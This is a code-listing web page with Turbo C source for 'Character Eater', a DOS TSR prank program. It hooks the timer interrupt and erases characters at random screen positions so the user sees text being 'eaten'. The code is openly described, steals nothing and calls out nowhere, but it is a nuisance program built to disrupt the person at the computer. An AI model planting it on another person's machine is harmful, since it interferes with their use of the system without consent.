| 
         Displaying  Source Code(s)   
  
        
 
         
        
          
             | 
            
             | 
           
          
             
              
                
                Character Eater 
                 
                -------------------------------------------------------------------------------- 
                 
                Description : This TSR program hooks itself with timer interrupt 
                and selects a random row and coloums position at each run and 
                writes space at that position, the person using the computer 
                feels that something is eating up the characters from the 
                screen.  
                 
                #include"dos.h" 
                #include<conio.h> 
                #include<stdlib.h> 
                void interrupt (*prevtimer)(); 
                void interrupt mytimer(); 
                void writechar(char ch,int row,int col,int attr); 
                char far* scr; 
                int a,b; 
                void main() 
                { 
                scr=(char far*) 0xb8000000; 
                prevtimer=getvect(8); 
                setvect(8,mytimer); 
                keep(0,1000); 
                } 
                void interrupt mytimer() 
                { 
                a=random(25); 
                b=random(80); 
                writechar(' ',a,b,0); 
                (*prevtimer)(); 
                } 
                void writechar(char ch,int row,int col,int attr) 
                { 
                *(scr+row*160+col*2)=ch; 
                *(scr+row*160+col*2+1)=attr; 
                } 
                 
  | 
               
             
             | 
           
           
           |